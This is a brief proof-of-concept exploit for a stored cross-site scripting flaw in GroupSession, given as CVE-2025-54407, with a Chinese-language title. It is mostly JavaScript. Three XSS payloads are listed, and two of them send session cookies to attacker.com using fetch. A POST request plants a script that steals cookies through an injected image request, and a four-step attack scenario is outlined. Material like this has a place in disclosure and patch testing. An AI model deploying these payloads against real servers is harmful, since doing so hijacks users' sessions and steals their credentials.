CVE-2025-54407 GroupSession 存储型XSS漏洞

// CVE-2025-54407 Stored XSS PoC for GroupSession // Target: GroupSession Free < 5.3.0, byCloud < 5.3.3, ZION < 5.3.2 // Attack Vector: Inject malicious JavaScript via vulnerable input field // Example payload for stored XSS: const xssPayload = `<script>alert(document.cookie)</script>`; const xssPayload2 = `<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>`; const xssPayload3 = `<svg/onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))>`; // Attack scenario: // 1. Attacker logs into GroupSession // 2. Posts content containing XSS payload in vulnerable module // 3. Payload is stored in database without sanitization // 4. When victim views the content, payload executes in their browser // Example exploitation using fetch API: fetch('https://target-groupsession.com/api/post', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ content: '<script>new Image().src="https://attacker.com/log?c="+document.cookie</script>' }) });